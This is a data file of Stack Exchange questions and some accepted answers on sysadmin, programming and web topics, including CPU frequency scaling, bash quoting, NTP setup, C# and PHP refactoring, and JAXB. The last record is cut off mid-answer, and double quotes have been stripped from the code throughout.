{  "id": "_unix.132256"  , "question": "Currently running into a headache trying to figure out why my CPU speed is stuck as such a low frequency.  After doing some research, I found that cpuspeedutil does actually control the state of the CPU rather than the BIOS it seems, but every change I try to make using CPUFREQUTIL does not affect the CPU whatsoever.Currently setup:Intel(R) Xeon(R) CPU E3-1270 v3 @ 3.50GHzRHEL 6.5 with kernel 2.6.32-431.el6.x86_64Every time I run a command to change the min and max freq settings (CPUSPEEDUTILS), it changes some items as you can see below:FYI: The code below is only from A SINGLE CPU CORE (#0 out of 7 Cores)As you can see here, I set the Current gov. policy to performance by running:cpufreq-set -g performance[root@f1-w2 /]# cpufreq-infocpufrequtils 007: cpufreq-info (C) Dominik Brodowski 2004-2009Report errors and bugs to cpufreq@vger.kernel.org, please.analyzing CPU 0:  driver: **acpi-cpufreq**  CPUs which run at the same hardware frequency: 0 1 2 3 4 5 6 7  CPUs which need to have their frequency coordinated by software: 0  maximum transition latency: 10.0 us.  hardware limits: 800 MHz - 3.50 GHz  available frequency steps: 3.50 GHz, 3.50 GHz, 3.30 GHz, 3.10 GHz, 2.90 GHz, 2.70 GHz, 2.50 GHz, 2.30 GHz, 2.10 GHz, 2.00 GHz, 1.80 GHz, 1.60 GHz, 1.40 GHz, 1.20 GHz, 1000 MHz, 800 MHz  available cpufreq governors: userspace, performance  current policy: **frequency should be within 800 MHz and 3.50 GHz.**                  The governor performance may decide which speed to use                  within this range.  **current CPU frequency is 800 MHz (asserted by call to hardware).**It seems that whatever I do to change any of the settings, the above line always reads:      current CPU frequency is 800 MHz (asserted by call to hardware).You can see below running the cpuinfo shows that the CPU is running @ 3501.000, but when I run ./i7z, it still shows that the frequency is set to 800mhz:    [root@f1-w2 ~]# **cat /proc/cpuinfo**processor   : 0vendor_id   : GenuineIntelcpu family  : 6model       : 60model name  : Intel(R) Xeon(R) CPU E3-1270 v3 @ 3.50GHzstepping    : 3**cpu MHz       : 3501.000** cache size  : 8192 KBphysical id : 0siblings    : 8core id     : 0cpu cores   : 4apicid      : 0initial apicid  : 0fpu     : yesfpu_exception   : yescpuid level : 13wp      : yesflags       : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm ida arat epb xsaveopt pln pts dts tpr_shadow vnmi flexpriority ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtmbogomips    : 6983.18clflush size    : 64cache_alignment : 64address sizes   : 39 bits physical, 48 bits virtualpower management:Here is a ls -la of sys/devices/system/cpu/cpu0:total 0drwxr-xr-x  8 root root    0 May 23 15:13 .drwxr-xr-x 12 root root    0 May 23 15:05 ..drwxr-xr-x  6 root root    0 May 23 15:05 cachedrwxr-xr-x  2 root root    0 May 23 15:13 cpufreqdrwxr-xr-x  7 root root    0 May 27 11:02 cpuidle-r--------  1 root root 4096 May 23 15:05 crash_notesdrwxr-xr-x  2 root root    0 May 27 11:02 microcodelrwxrwxrwx  1 root root    0 May 27 11:02 node0 -> ../../node/node0drwxr-xr-x  2 root root    0 May 23 15:10 thermal_throttledrwxr-xr-x  2 root root    0 May 23 15:05 topologyhere is a cat of sys/devices/system/cpu/cpu0/cpufreq:total 0drwxr-xr-x 2 root root    0 May 23 15:13 .drwxr-xr-x 8 root root    0 May 23 15:13 ..-r--r--r-- 1 root root 4096 May 27 10:28 affected_cpus-r-------- 1 root root 4096 May 27 10:28 cpuinfo_cur_freq-r--r--r-- 1 root root 4096 May 27 10:28 cpuinfo_max_freq-r--r--r-- 1 root root 4096 May 27 10:28 cpuinfo_min_freq-r--r--r-- 1 root root 4096 May 27 10:28 cpuinfo_transition_latency-r--r--r-- 1 root root 4096 May 27 10:28 related_cpus-r--r--r-- 1 root root 4096 May 27 10:28 scaling_available_frequencies-r--r--r-- 1 root root 4096 May 23 15:31 scaling_available_governors-r--r--r-- 1 root root 4096 May 27 10:28 scaling_cur_freq-r--r--r-- 1 root root 4096 May 27 10:28 scaling_driver-rw-r--r-- 1 root root 4096 May 23 15:39 scaling_governor-rw-r--r-- 1 root root 4096 May 27 10:28 scaling_max_freq-rw-r--r-- 1 root root 4096 May 27 10:28 scaling_min_freq-rw-r--r-- 1 root root 4096 May 27 11:02 scaling_setspeedAs you can see, even when I changed settings VIA CPUFREQ, you can see that the MHZ is still set to 800MHZ:[root@f1-w2 cpufreq]# cat cpuinfo_min_freq800000[root@f1-w2 cpufreq]#Immediately changed the MIN CPU FREQ to 2.00ghz and ran cpufreq-info:[root@f1-w2 cpufreq]# cpufreq-infocpufrequtils 007: cpufreq-info (C) Dominik Brodowski 2004-2009Report errors and bugs to cpufreq@vger.kernel.org, please.analyzing CPU 0:  driver: acpi-cpufreq  CPUs which run at the same hardware frequency: 0 1 2 3 4 5 6 7  CPUs which need to have their frequency coordinated by software: 0  maximum transition latency: 10.0 us.  hardware limits: 800 MHz - 3.50 GHz  available frequency steps: 3.50 GHz, 3.50 GHz, 3.30 GHz, 3.10 GHz, 2.90 GHz, 2.70 GHz, 2.50 GHz, 2.30 GHz, 2.10 GHz, 2.00 GHz, 1.80 GHz, 1.60 GHz, 1.40 GHz, 1.20 GHz, 1000 MHz, 800 MHz  available cpufreq governors: userspace, performance  current policy: frequency should be within **2.00 GHz** and 3.50 GHz.                  The governor performance may decide which speed to use                  within this range.  **current CPU frequency is 800 MHz (asserted by call to hardware).**Thought I changed the min freq, it shows between 2.0 and 3.5 ghz, but you can see above that the current CPU FREQ is still 800mhz.Output from i7z shows it still stuck @ 800mhz:Cpu speed from cpuinfo 3491.00Mhzcpuinfo might be wrong if cpufreq is enabled. To guess correctly try estimating via tscLinux's inbuilt cpu_khz code emulated nowTrue Frequency (without accounting Turbo) 3491 MHz  CPU Multiplier 35x || Bus clock frequency (BCLK) 99.74 MHzSocket [0] - [physical cores=4, logical cores=8, max online cores ever=4]  TURBO DISABLED on 4 Cores, Hyper Threading ON  Max Frequency without considering Turbo 3491.00 MHz (99.74 x [35])  Max TURBO Multiplier (if Enabled) with 1/2/3/4 Cores is  39x/39x/38x/37x  Real Current Frequency 798.04 MHz [99.74 x 8.00] (Max of below)        Core [core-id]  :Actual Freq (Mult.)      C0%   Halt(C1)%  C3 %   C6 %  Temp        Core 1 [0]:   797.97 (8.00x)         1.4    98.7       1       0    28        Core 2 [1]:   797.94 (8.00x)           1     100       0       0    28        Core 3 [2]:   798.04 (8.00x)           1     100       0       0    29        Core 4 [3]:   797.81 (8.00x)           1      99       1       0    28Any information would be greatly appreciated!!EDIT: Currentl BIOS SETTINGS:"  , "title": "Intel Xeon stuck at 800mhz CPU Freq on RHEL 6.5"  , "tags": "linux;centos;kernel;cpu;intel"  } 
{  "id": "_softwareengineering.343802"  , "question": "There is a @Mark Seemann's cite from a conversation which states that an abstraction must never implement IDisposable:I like how @nblumhardt put it almost six years ago:an interface [...] generally shouldn't be disposable. There's no way for the one defining an interface to foresee all possible implementations of it - you can always come up with a disposable implementation of practically any interface.Is this applicable for the ISerializable interface as well (meaning that an abstraction must never implement it)?"  , "title": "Are there any cases when an abstraction should inherit ISerializable?"  , "tags": ".net;abstraction;serialization"  } 
{  "id": "_codereview.107523"  , "question": "I am getting two different lists of members, then if certain conditions meet, I add more members to the list before converting into an array.Is there any way this could be improve? I guess we can use Linq and cast but I am not advanced in either of the skills I mentioned.    List<Member> Members = new List<Member>();    foreach (SPListItem mItem in GetList(Url).Items)    {        Member m = new Member();        m.ID = mItem.ID;        m.Name = mItem.Title;        m.Company = Utilities.ObjectToStringOrEmpty(mItem[companyCol]);        m.eMail = Utilities.ObjectToStringOrEmpty(mItem[emailCol]);        m.Comment = Utilities.ObjectToStringOrEmpty(mItem[commentCol]);        m.Membership = Utilities.ObjectToStringOrEmpty(mItem[msCol]);        Members.Add(m);    }    if (DateTime.Now < row.EndDate)    {        var cd = new MemberManager().GetMoreMembers(Url + /);        var activeMembers = cd.Where(am => am.MembershipStatus == Active || am.MembershipStatus == Pending).ToList();        if (activeMembers != null || activeMembers.Count() > 0)        {            foreach (var am in activeMembers)            {                if (!Members.Any(a => a.eMail.ToLowerInvariant() == am.Email.ToLowerInvariant()))                {                    Member m = new Member();                    m.Name = am.FirstName +   + am.LastName;                    m.eMail = am.Email;                    m.IsVip = true;                    Members.Add(m);                }            }        }    }    md.Members = Members.ToArray();"  , "title": "Comparing two lists"  , "tags": "c#"  , "accepted_answer": "You can shorten the following snippet by using LINQ and a projection:List<Member> Members = new List<Member>();foreach (SPListItem mItem in GetList(Url).Items){    Member m = new Member();    m.ID = mItem.ID;    m.Name = mItem.Title;    m.Company = Utilities.ObjectToStringOrEmpty(mItem[companyCol]);    m.eMail = Utilities.ObjectToStringOrEmpty(mItem[emailCol]);    m.Comment = Utilities.ObjectToStringOrEmpty(mItem[commentCol]);    m.Membership = Utilities.ObjectToStringOrEmpty(mItem[msCol]);    Members.Add(m);}becomesList<Member> Members = GetList(Url).Items.Select(item => new Member {                                                         ID = item.ID,                                                         Name = item.Title}).ToList();  // Do this for every field you're interested invar cd = new MemberManager().GetMoreMembers(Url + /);If a method doesn't require instance-level information, you should make it static. It will save you another object allocation and it just makes more sense to write MemberManager.GetMoreMembers() then.am.MembershipStatus == Active || am.MembershipStatus == PendingThis would make more sense as an enum rather than a string. There's only a limited amount of values that status can be.if (activeMembers != null || activeMembers.Count() > 0)Boolean logic! You mean to useif (activeMembers != null && activeMembers.Count() > 0)a.eMail.ToLowerInvariant() == am.Email.ToLowerInvariant()This will create 2 new string objects every iteration. Instead use string.Equals(a.eMail, am.Email, StringComparison.InvariantCultureIgnoreCase);Notice also the eMail and Email discrepancy.You can also shorten the above block by usingvar newMembers = activeMembers.Where(activeMember =>                     !Members.Any(member => string.Equals(activeMember.eMail,                                                           member.Email,                                                           StringComparison.InvariantCultureIgnoreCase))                            .Select(newMember => new Member {                                                     Name = newMember.FirstName +   + newMember.LastName,                                                    eMail = newMember.Email,                                                    IsVip = true                                                });Members = Members.Concat(newMembers);The above is written without any IDE but I think you can figure out the solution to any syntax errors in it."  } 
{  "id": "_webmaster.32511"  , "question": "I have created a company blog and have begun implementing various social sharing plugins, had a look at integrating with OG and now Facebook won't pull any images when the page is shared.The debugger tool says that it can find a suitable image (the featured image for each post) and when I share the same link to LinkedIn the images pull fine.I can't work out for the life of me what might be wrong, again it's not that Facebook isn't pulling the right image... it's not pulling ANY.Does anyone have experience with this/know what might be wrong?http://www.chapman-freeborn.com/en/blog"  , "title": "Facebook sharing won't pull through ANY images anymore,"  , "tags": "wordpress;facebook;addthis;sharing"  , "accepted_answer": "How are your saving your files?See belowFacebook does not like .png files so if youre saving  your images in that format and experiencing this issue, try changing  your images to .jpg or .gif format.One of the main issues with images not displaying on Facebook is the  file path that they are located at. Facebook does not like spaces in  the name of an image or in the name of a folder that an image is in.  Facebook also doesnt like when there is extra stuff added to the  end of an image URL such as image dimensions.Source (with further info): http://ansonalex.com/troubleshooting/fix-articles-linked-on-facebook-dont-display-thumbnails-images/"  } 
{  "id": "_unix.101987"  , "question": "So what I'm trying to do should be fairly simple but I can't seem to figure it out. I need to kill a certain process on different boxes, they all have a defined IP range although they will eventually change.Let's say for example,arp |sort |awk '{print $1}'|grep 10.20.30.18 # IP's range from 180 to 189 so this does the trickoutput isxxx.xxx.xxx.180xxx.xxx.xxx.181So I want to SSH into both and dops -ef | grep X11 | grep -v grep | awk '{print $2}' | xargs killHow would I go on about this without having to SSH into each one and then killing the process?"  , "title": "Run an SSH command on two hosts whose name comes from another command"  , "tags": "shell;ssh"  } 
{  "id": "_unix.127685"  , "question": "I have a bash script that is asking a user for input, then passes that variable to a find command.  I've tried quoting/escaping the variable every way I know, but it keeps failing.read -p Please enter the directory # to check:  MYDIRcount=`/usr/bin/find /path/to/$MYDIR -name *.txt -mmin -60 | wc -l`if [ $count != 0 ]    then          echo There have been $count txt files created in $MYDIR in the last hour    else          echo There have been no txt files created in the last hour in $MYDIR     fiWhen running, I get this:Please enter the directory # to check: temp_dir/usr/bin/find: paths must precede expressionUsage: /usr/bin/find [-H] [-L] [-P] [path...] [expression]There have been no txt files created in the last hour in temp_dir "  , "title": "Trying to pass user generated variable to an external command"  , "tags": "bash;shell script;find"  , "accepted_answer": "You must quote the pattern in -name option:count=$(/usr/bin/find /path/to/$MYDIR -name '*.txt' -mmin -60 | wc -l)If you don't use the quote, so the shell will expand the pattern. Your command become:/usr/bin/find /path/to/$MYDIR -name file1.txt file2.txt ... -mmin -60 | wc -lYou feed all files, which has name end with .txt to -name option. This causes syntax error."  } 
{  "id": "_softwareengineering.134432"  , "question": "Can someone provide me with a canonical answer on the differences between an Observer and a Mediator, and a summary of when you should use one pattern over the other?I am unsure of what kind of situation would require an Observer and what kind would require a Mediator"  , "title": "Mediator vs Observer?"  , "tags": "design patterns"  , "accepted_answer": "In the original book that coined the terms Observer and Mediator, Design Patterns, Elements of Reusable Object-Oriented Software it says that the Mediator pattern can be implemented by using the observer pattern.  However it can also be implemented by having Colleagues (roughly equivalent to the Subjects of the Observer pattern) have a reference to either a Mediator class or a Mediator interface.There are many cases when you would want to use the observer pattern, they key is that on object should not know what other objects are observing it's state.Mediator is a little more specific, it avoids having classes communicate directly but instead through a mediator.  This helps the Single Responsibility principle by allowing communication to be offloaded to a class that just handles that.A classic Mediator example is in a GUI, where the naive approach might lead to code on a button click event saying if the Foo panel is disabled and Bar panel has a label saying Please enter date then don't call the server, otherwise go ahead, where with the Mediator pattern it could say I'm just a button and have no earthly business knowing about the Foo panel and the label on the Bar panel, so I'll just ask my mediator if calling the server is O.K. right now.Or, if it is implemented using the observer pattern the button would say Hey, observers (which would include the mediator), my state changed (someone clicked me).  Do something about it if you care.  In my example that probably makes less sense, but sometimes it would, and the difference between Observer and Mediator would be more one of intent than a difference in the code itself."  } 
{  "id": "_codereview.167165"  , "question": "I have a PHP function which sets/unsets something (category and tags) in the cookie and then makes a dynamic query based on it:public function tagged(){    $this->specific_tag  =  true;    function unset_cookie($cookie_name) {        setcookie($cookie_name, , time() - 3600, '/');        unset($_COOKIE[$cookie_name]);    }    function set_cookie($cookie_name, $cookie_value) {        setcookie($cookie_name, $cookie_value, 2147483647, '/');        $_COOKIE[$cookie_name] = $cookie_value;    }    if ( isset($_GET['c']) ) {        if ( empty($_GET['c']) ) {            unset_cookie('qanda_questions_category');        } else {            set_cookie('qanda_questions_category', $_GET['c']);        }    }    if ( isset($_GET['t']) ) {        if ( empty($_GET['t']) ) {            unset_cookie('qanda_questions_tag');        } else {            set_cookie('qanda_questions_tag', $_GET['t']);        }    }    $this->consider_category_tag_cookies();    if ( $this->category_cookie || $this->tag_cookie ) {        $query_where = $query_join = '';        if ( $this->category_cookie ) {            $query_where .= AND qa.category = :c;            $this->parameters[:c] = $_COOKIE['qanda_questions_category'];        }        if ( $this->tag_cookie ) {            $query_join  .=  INNER JOIN qanda_tags qt ON qt.qanda_id = qa.id                              INNER JOIN tags ON tags.id = qt.tag_id;            $query_where .=  AND tags.name = :t;            $this->parameters[:t] = $_COOKIE['qanda_questions_tag'];        }        return $this->index($query_where, $query_join, __FUNCTION__);    } else {        return header(Location: /myweb/questions.make_url_query($_GET, [],['c','t']));    }}I've tried so much to write it clean and functional, but it contains lots of if statements. It bothers me and I think it should be possible to reduce some of them. Do you have any idea?Do I need to add more function to the code? Or should I chop the code into multiple separated functions? Anyway, how can I write it more cleanly?"  , "title": "How can I reduce if statement in the code?"  , "tags": "php;functional programming"  , "accepted_answer": "First suggestion is that you shouldn't write the same code twice.  Your $_GET-if-conditions can be put into a separate function.$this->handleCookieByGetParameter('c', 'qanda_questions_category');$this->handleCookieByGetParameter('t', 'qanda_questions_tag');public function handleCookieByGetParameter($parameter, $name){    if ( isset($_GET[$parameter]) ) {        if ( empty($_GET[$parameter]) ) {            unset_cookie($name);        } else {            set_cookie($name, $_GET[$parameter]);        }    }}and then I recommend that you check your error before you handle your other stuff:if ( !$this->category_cookie && !$this->tag_cookie ) {    return header(Location: /myweb/questions.make_url_query($_GET, [],['c','t']));    // better an RedirectException}$query_where = $query_join = '';if ( $this->category_cookie ) {    $query_where .= AND qa.category = :c;    $this->parameters[:c] = $_COOKIE['qanda_questions_category'];}if ( $this->tag_cookie ) {    $query_join  .=  INNER JOIN qanda_tags qt ON qt.qanda_id = qa.id                  INNER JOIN tags ON tags.id = qt.tag_id;    $query_where .=  AND tags.name = :t;    $this->parameters[:t] = $_COOKIE['qanda_questions_tag'];}return $this->index($query_where, $query_join, __FUNCTION__);my next step would be to look to extract the query code into a separate function, so I could use it for other methods too."  } 
{  "id": "_webapps.100706"  , "question": "Do I need to use a custom domain with Google's G Suite (formerly Google Apps)? I can't see any way to sign up for the service without wiring up a domain. Isn't there some kind of default domain that could be used, like first.last@gsuite.com?"  , "title": "G Suite (Google Apps) without a custom domain?"  , "tags": "google apps;domain;g suite"  } 
{  "id": "_cstheory.17216"  , "question": "I know the definition of the independent set problem in graph theory.  An independent set cannot contain any two adjacent vertices.How about if you allow no more than $k$ pairs of adjacent vertices?  Does this more general problem have a name?  Are there techniques for solving it?  In particular, are there any techniques for solving it with linear programming?"  , "title": "Generalization of independent set"  , "tags": "ds.algorithms;graph theory;co.combinatorics;linear programming;independence"  , "accepted_answer": "Not exactly what you're looking for, but Dinur and Safra, in their celebrated paper on the hardness of vertex cover, prove that the following promise problem is NP-hard for every fixed $r,\\epsilon > 0$ (using the PCP theorem and Raz's parallel repetition theorem).Instance: A graph $G$ whose vertex set is composed of $m$ sets $V_1,\\ldots,V_m$ of size $r$, each of them forming an $r$-clique.Problem: Distinguish between the following two cases:YES case: $G$ has an independent set of size $m$.NO case: Every set $A \\subseteq V$ containing more than $\\epsilon m$ vertices contains a clique of size $h = \\lfloor \\epsilon r^{1/c} \\rfloor$ (where $c$ is some universal constant).More explicitly, for any NP language $L$ there is a polytime $f$ mapping instances of $L$ to instances of this promise problem, in such a way that if $x \\in L$ then $f(x)$ is a YES instance, and if $x \\notin L$ then $f(x)$ is a NO instance."  } 
{  "id": "_datascience.9249"  , "question": "Keras supports both TensorFlow and Theano as backend: what are the pros/cons of choosing one versus the other, besides the fact that currently not all operations are implemented with the TensorFlow backend?"  , "title": "Choosing between TensorFlow or Theano as backend for Keras"  , "tags": "neural network;deep learning;theano;tensorflow;keras"  } 
{  "id": "_codereview.146947"  , "question": "I'm currently facing the problem of unmarshalling a huge number (47) of attributes to a Java object. Changing the format of the XML file to be more structured is sadly not an option. The following should serve as an example. Imagine each request element has 47 attributes instead of two.<Data time=20161031111103>    <Request name=John Doe id=123/>    <Request name=Jane Doe id=124/></Data>So far I've found three possible solutions, but I'm not really happy with any of them. ContextThe XML file is refreshed minutely on the customers server and then polled and parsed by the client application. I have no influence on how it is generated or formatted.1 Use a BeanThis is probably the most naive solution, but this gets really boilerplate heavy with more than 600 lines for 47 attributes. On the other hand, this would probably be the easiest to parse. import java.io.Serializable;import javax.xml.bind.annotation.XmlAttribute;import javax.xml.bind.annotation.XmlType;import javafx.beans.property.SimpleStringProperty;@XmlType(name = Request)public class Request implements Serializable {    private final SimpleStringProperty name = new SimpleStringProperty();    private final SimpleStringProperty id = new SimpleStringProperty();    public String getName() {        return name.get();    }    @XmlAttribute(name = name)    public void setName(String name) {        this.name.set(name);    }    public SimpleStringProperty nameProperty() {        return name;    }    public String getId() {        return id.get();    }    @XmlAttribute(name = id)    public void setId(String id) {        this.id.set(id);    }    public SimpleStringProperty idProperty() {        return id;    }}2 Use a Map with String keysA bit more manageable boilerplate-wise, but still you'd require 47 constants for all the attribute names and it leaves you inflexible if you'd need something other than a SimpleStringProperty, a SimpleDoubleProperty for example.package xml.model;import javafx.beans.property.SimpleStringProperty;import java.util.HashMap;import java.util.Map;public class Request2 {    private final Map<String, SimpleStringProperty> properties = new HashMap<>();    private static final String NAME_PROPERTY = name;    private static final String ID_PROPERTY = id;    public String getValue(String property) {        SimpleStringProperty result = properties.get(property);        return result == null ? null : result.getValue();    }    public void setValue(String property, String value) {        properties.putIfAbsent(property, new SimpleStringProperty());        properties.get(property).set(value);    }    public SimpleStringProperty valueProperty(String property) {        return properties.get(property);    }}3 Use a Map with Enum keysThe same downsides as 2, defining 47 enum constants and being inflexible with other Property types.import java.util.Arrays;import java.util.Collections;import java.util.HashMap;import java.util.Map;import java.util.stream.Collectors;import javafx.beans.property.SimpleStringProperty;public class Request {    private final Map<Key, SimpleStringProperty> properties = new HashMap<>();    public String getValue(Key property) {        SimpleStringProperty result = properties.get(property);        return result == null ? null : result.getValue();    }    public void setValue(Key property, String value) {        properties.putIfAbsent(property, new SimpleStringProperty());        properties.get(property).set(value);    }    public SimpleStringProperty valueProperty(Key property) {        return properties.get(property);    }    public enum Key {        NAME(name), ID(id);        private static final Map<String, Key> lookup = Collections                .unmodifiableMap(Arrays.stream(values())                        .collect(Collectors.toMap(Key::getName, r -> r)));        private final String name;        Key(String name) {            this.name = name;        }        public static Key get(String name) {            return lookup.get(name);        }        public String getName() {            return this.name;        }    }}I feel like the sensible thing would be to spread the attributes to multiple classes, but that would leave me with as much, if not more, boilerplate and would complicate things a fair bit. Is it really in any way sane or feasible to have a class with 47 fields like in 1? It just feels super bad."  , "title": "Reading and working with a large number of XML attributes"  , "tags": "java;comparative review;xml;properties"  , "accepted_answer": "I think the best solution is the first one because it exists some tools that are able to automatically generate classes (in bean-style) from XML.All you need is an XML Schema so that you can use XJC (provided with Java) to let it generate these classes. Of course the generated Request class will be quite heavy with a lot of boilerplate but since it is done automatically it's not really a problem...Going one step furtherSince this class will be auto-generated, it means that you must let it untouched. Therefore it means that you can't use this class as a model (in the MVC sense) because no behaviour can be added to it.You will have to create your own business model of a Request and this class can be much better structured. Possible example:public final class Request {    private final User sender    private final User receiver;    private final Data command;    ...}With User and Data beeing other classes modeling a subpart of a request's behaviour.What's missing now ? A bridge between your business model and the bean. This is where you can use an XmlAdapter to fill this gap. This is basically the glue between the two worlds, able to translate from the business world to the XML world and the opposite.JAXB class <-> XMLAdapter <-> Business class"  } 
{  "id": "_unix.193145"  , "question": "I need to create new file which contains spaces in it. And it is passed through the argument. This code below creates 2 sepate files. Can anyone help me how to create 1 file which will contains space? Thankstouch $meno"  , "title": "Create new file with spaces from argument BASH"  , "tags": "bash;shell;quoting"  , "accepted_answer": "Try this:IFS=$(echo -en \\n\\b)touch $yourfile"  } 
{  "id": "_codereview.74924"  , "question": "I created this script to take informations at-the-moment of this site:Pictures of name channelName of channelPictures channelTimesTitleTypeMy script (Work):<?php$url=http://www.programme-tv.net/programme/toutes-les-chaines/en-ce-moment.html#Grandes%20cha%C3%AEnes;$code_page = file_get_contents($url);preg_match_all('/<div class=channelItem>(.*?)<img src=(.*?) alt=Le programme de (.*?) width=70 height=30>/is', $code_page, $chaines);preg_match_all('/<div class=show (.*?) at-the-moment current (.*?)>(.*?)<div class=show-infos>(.*?)<\\/div>/is', $code_page, $channels);$i=0;foreach ($channels as $channel) {    if($i==3){        for ($j=0; $j < 38; $j++) {            preg_match_all('/<span class=(.*?)><img src=http:\\/\\/static.programme-tv.net\\/var\\/epgs\\/169\\/80x\\/(.*?) alt=(.*?) width=80 \\/><\\/span>/', $channel[$j], $image[$j]);         }    }if($i==4){        for ($j=0; $j < 38; $j++) {             preg_match_all('/<p class=time>(.*?)<\\/p>/', $channel[$j], $time[$j]);            preg_match_all('/<p class=title>(.*?)<\\/p>/', $channel[$j], $title[$j]);            preg_match_all('/<p class=type>(.*?)<\\/p>/', $channel[$j], $type[$j]);        }    }    $i++;}for ($i=0; $i < 38; $i++) {    $test = strpos($chaines[2][$i],' </div>');    if($test != true){        echo 'Chaines images: <img src='.$chaines[2][$i].'/><br />';        echo 'Chaines: '.$chaines[3][$i].'<br />';        echo 'image : <img src=http://static.programme-tv.net/var/epgs/169/80x/'.$image[$i][2][0].' /><br />';         echo 'Temps : '.trim($time[$i][1][0]).'<br />';        echo 'Titre : '.substr($title[$i][1][0], strpos($title[$i][1][0], '>') + 1, strrpos($title[$i][1][0], '<')).'<br />';        echo 'Type : '.$type[$i][1][0].'<br />';        echo '<hr>';    }}?>I would like to improve and find a better regular expression pattern because I use 6 regular expression pattern."  , "title": "Improvement of a regular expression pattern"  , "tags": "php;html;parsing"  } 
{  "id": "_unix.267771"  , "question": "I configured an NTP server on a CentOS 7 machine (a virtual one) and also configured the ntp.conf file of the clients (which also are virtual and run CentOS 7). The NTP synchronization works perfectly when I explicitly start/restart the ntpd service with systemctl (re)start ntpd on the client machines. But when I try to test the automatic synchronization by changing the time on the server, the clients will neither be notified nor update their clocks (the clocks stay as they were synchronized during the last restart of ntpd). I even tried to change the polling frequency from the ntp.conf file of the clients, but nothing seemed to work. I would really appreciate some help. PS: here are the ntp.conf files from the server and one client:Server:# For more information about this file, see the man pages# ntp.conf(5), ntp_acc(5), ntp_auth(5), ntp_clock(5), ntp_misc(5), ntp_mon(5).driftfile /var/lib/ntp/drift# Permit time synchronization with our time source, but do not# permit the source to query or modify the service on this system.restrict default nomodify notrap nopeer noquery# Permit all access over the loopback interface.  This could# be tightened as well, but to do so would effect some of# the administrative functions.restrict 127.0.0.1 restrict ::1# Hosts on local network are less restricted.#restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap# Use public servers from the pool.ntp.org project.# Please consider joining the pool (http://www.pool.ntp.org/join.html).#server 0.centos.pool.ntp.org iburst#server 1.centos.pool.ntp.org iburst#server 2.centos.pool.ntp.org iburst#server 3.centos.pool.ntp.org iburstserver 127.127.1.0fudge 127.127.1.0 stratum 1#broadcast 192.168.1.255 autokey    # broadcast server#broadcastclient            # broadcast client#broadcast 224.0.1.1 autokey        # multicast server#multicastclient 224.0.1.1      # multicast client#manycastserver 239.255.254.254     # manycast server#manycastclient 239.255.254.254 autokey # manycast client# Enable public key cryptography.#cryptoincludefile /etc/ntp/crypto/pw# Key file containing the keys and key identifiers used when operating# with symmetric key cryptography. keys /etc/ntp/keys# Specify the key identifiers which are trusted.#trustedkey 4 8 42# Specify the key identifier to use with the ntpdc utility.#requestkey 8# Specify the key identifier to use with the ntpq utility.#controlkey 8# Enable writing of statistics records.#statistics clockstats cryptostats loopstats peerstats# Disable the monitoring facility to prevent amplification attacks using ntpdc# monlist command when default restrict does not include the noquery flag. See# CVE-2013-5211 for more details.# Note: Monitoring will not be disabled with the limited restriction flag.disable monitorClient:# For more information about this file, see the man pages# ntp.conf(5), ntp_acc(5), ntp_auth(5), ntp_clock(5), ntp_misc(5), ntp_mon(5).driftfile /var/lib/ntp/drift# Permit time synchronization with our time source, but do not# permit the source to query or modify the service on this system.restrict default nomodify notrap nopeer noquery# Permit all access over the loopback interface.  This could# be tightened as well, but to do so would effect some of# the administrative functions.restrict 127.0.0.1 restrict ::1# Hosts on local network are less restricted.#restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap# Use public servers from the pool.ntp.org project.# Please consider joining the pool (http://www.pool.ntp.org/join.html).#server 0.centos.pool.ntp.org iburst#server 1.centos.pool.ntp.org iburst#server 2.centos.pool.ntp.org iburst#server 3.centos.pool.ntp.org iburstserver 192.168.1.38 #This is the ip address of the server#broadcast 192.168.1.255 autokey    # broadcast server#broadcastclient            # broadcast client#broadcast 224.0.1.1 autokey        # multicast server#multicastclient 224.0.1.1      # multicast client#manycastserver 239.255.254.254     # manycast server#manycastclient 239.255.254.254 autokey # manycast client# Enable public key cryptography.#cryptoincludefile /etc/ntp/crypto/pw# Key file containing the keys and key identifiers used when operating# with symmetric key cryptography. keys /etc/ntp/keys# Specify the key identifiers which are trusted.#trustedkey 4 8 42# Specify the key identifier to use with the ntpdc utility.#requestkey 8# Specify the key identifier to use with the ntpq utility.#controlkey 8# Enable writing of statistics records.#statistics clockstats cryptostats loopstats peerstats# Disable the monitoring facility to prevent amplification attacks using ntpdc# monlist command when default restrict does not include the noquery flag. See# CVE-2013-5211 for more details.# Note: Monitoring will not be disabled with the limited restriction flag.disable monitor"  , "title": "NTP synchronization in CentOS 7"  , "tags": "centos;ntp;ntpd"  } 
{  "id": "_webmaster.5277"  , "question": "I am the first developer in a large scale web project, in the real estate sector. I am not an expert in any field, I know the basic of all, programming, databases, something about design and a little bit about SEO, and website optimization / caching. And I have some knowledge about other technologies and stuff that could be required in the project.So I am a developer, my boss does some drawing on a paper to present me his ideas and then I start programming and I show him the result. Until now there was no problem, but now the web application is large enough, and it lacks a little bit of database optimization and intuitive user interface. Beside the website, the project also has an offline newspaper, and a desktop application that is a reduced version of the online one, both this things are not managed by me, but by other people or developers that are external to the company.We do not use a collaboration tool for sharing knowledge between the people working on this project, just emails, and we do not use a development methodology, as for the team, we are: the developer(me), a designer, a secretary and the boss.I have the possibility to ask the boss hire the people I want so I can increase the team and have the right person dealing with the right part of the project.This is the story, the real question is, what should be my attitude towards the project and the company? Should I stay a developer and participate in taking decisions and organizing tasks from time to time to help the boss? Or should I get more serious about this and try to learn project management and implement everything I consider it's required to ensure the quality of the work and final results?I am the one who best knows what has been developed until now, should I try to organize all the work and the team? Or should I ask my boss to hire some expert to do that?I hope someone before has been in my position before and can give me any good indications..Thanks!"  , "title": "What should I be responsible for as the first developer in a large scale web project?"  , "tags": "web development"  , "accepted_answer": "There are multiple steps in designing a new project. The first step starts with the generic idea of what you want. Or in this case, what your boss wants. He provides you information and you write down notes and collect information about his precise wishes. Stay away from your computer, unless you just use it to keep notes!In step two, you open your favorite text editor and start writing down a basic plan based on the ideas you've just collected. You determine your needs and make 